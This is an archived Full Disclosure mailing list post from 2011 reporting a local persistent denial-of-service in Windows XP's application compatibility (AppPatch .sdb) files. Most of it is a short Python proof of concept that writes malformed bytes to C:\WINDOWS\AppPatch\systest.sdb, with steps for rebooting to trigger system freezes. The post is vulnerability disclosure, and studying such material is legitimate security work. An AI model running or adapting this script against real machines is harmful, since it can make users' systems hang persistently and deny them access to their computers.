Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Malformed Package Appfix files - Local Persistent Denial Of Service
From: "SecuBox fRoGGz" <writeme () sverige nu>
Date: Fri, 28 Jan 2011 01:33:19 -0000 (GMT)

; Proof-of-Concept, tested on WINDOWS XP SP2 5.1.2600 FR (thx momo)

#/usr/bin/env python
import sys
f=open('C:\\WINDOWS\\AppPatch\\systest.sdb','w')
f.write('\x02\x00\x00\x00\xFF\xFF\x00\x00\x73\x64\x62\x66\x02\x78\xFF\xFF\x00\x00')
f.close()

Note: Make sure you have sufficient permissions to write this file.
Execute the PoC, restart your virtual machine. After the login screen, you
might start to observe computer freezes/hangs-up ... with special crafted
files, Windows could stop responding.


































































































































































































































-----------------------------------------
Skaffa gratis e-post du också på http://www.sverige.nu



_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
  • Malformed Package Appfix files - Local Persistent Denial Of Service SecuBox fRoGGz (Jan 28)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault